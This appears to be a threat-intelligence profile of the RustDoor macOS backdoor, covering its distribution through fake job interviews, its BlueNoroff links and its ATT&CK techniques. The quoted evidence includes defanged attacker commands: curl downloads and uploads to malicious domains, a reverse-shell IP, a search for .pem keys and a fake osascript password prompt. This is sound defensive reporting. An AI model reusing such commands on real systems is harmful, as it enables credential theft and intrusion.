RustDoor, also tracked as ThiefBucket, is a Rust-based macOS backdoor first publicly documented in February 2024. It provides covert remote access and information-stealing capabilities and has been distributed through trojanized applications, counterfeit Microsoft Visual Studio updates, and malicious development projects. Recruitment-themed campaigns have targeted software developers and cryptocurrency-sector users, including through professional networking platforms, by persuading victims to execute software during purported interviews or technical assessments.
Observed RustDoor activity includes collecting and uploading data, hiding malicious files with macOS file attributes, and downloading additional scripts intended to establish reverse shells. In one campaign, it attempted to archive and exfiltrate data belonging to the LastPass browser extension. RustDoor has also been deployed alongside a macOS variant of Koi Stealer; the broader credential, browser, wallet, and application-data collection performed by that separate malware should not be attributed wholesale to RustDoor.
RustDoor campaigns have been linked to North Korean operations associated with BlueNoroff, also known as Alluring Pisces and Sapphire Sleet, particularly in cryptocurrency-focused targeting. Its infrastructure has also overlapped with infrastructure associated with ransomware operations, although shared hosting alone does not establish common operator control.
A related Go-based Windows backdoor, GateDoor, shares functionality and command-and-control endpoints with RustDoor. Malware associated with this family was distributed through a trojanized JAVS Viewer installer in the software supply-chain incident tracked as CVE-2024-4978. That Windows attack chain reported host information, received remote instructions, attempted to bypass AMSI and disable ETW, and downloaded additional browser credential-stealing components.
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Infrastructure overlap with ToneShell backdoor, Rustdoor and Koi stealer
“In this campaign, we discovered a Rust-based macOS malware nicknamed RustDoor masquerading as a legitimate software update…”
12 distinct techniques documented for this family, organized by ATT&CK tactic.
The analysis of the script revealed an interesting and uncommon technique, namely to combine Python with Apple Scripting, as the filegrabber() function executes a large block of Apple script using the osascript -e command.
"These bash scripts are intended to open a reverse shell connection"; "reverse shell execution attempts to 31.41.244[.]92 ... TCP port 443"
"when executing the fake job interview project within Visual Studio, the malicious code attempts to download and execute two separate Mach-O binaries of RustDoor"
"chflags hidden npm"
"osascript<<EOD display dialog ... 'Please enter password' ... with hidden answer"; "prompted the user to install it and grant it Administrator access"
"zsh -c mdfind -name .pem"; "SSH configuration files (under $HOME/.ssh)"
"Steal LastPass data from Google Chrome's extension for LastPass"; "Browser files"; "Safari files"
"osascript<<EOD display dialog ... 'Please enter password' ... with hidden answer"; "prompted the user to install it and grant it Administrator access"
"zsh -c zip -r [redacted].zip ..."
For two IPs of the ShadowSyndicate infrastructure, we found Cobalt strike beacons at the same timeframe that were linked to the Citrix bleed exploit attack campaign where Lockbit ransomware was chiefly deployed by affiliates.
"exfiltrate data to its C2 server"; "HTTP request"; domains "apple-ads-metric[.]com" and "visualstudiomacupdate[.]com"
"curl -O -s hxxps://apple-ads-metric[.]com/npm"; "curl -O -s hxxps://apple-ads-metric[.]com/back.sh"
"curl -F file=[redacted].zip hxxps://visualstudiomacupdate[.]com/tasks/upload_file"; "build an initial HTTP request that exfiltrates..."
14 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
12 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.